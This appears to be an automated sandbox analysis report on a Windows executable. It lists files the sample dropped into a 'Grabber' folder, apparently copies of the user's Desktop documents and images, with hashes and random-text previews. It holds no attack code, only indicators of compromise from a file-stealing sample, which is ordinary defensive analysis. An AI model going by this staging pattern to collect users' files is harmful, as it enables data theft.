Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT\QNCYCDFIJJ.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT\SQSJKEBWDT.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT\SUAVTZKNFL.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	true
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NEBFQQYWPS\PIVFAGEAAV.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
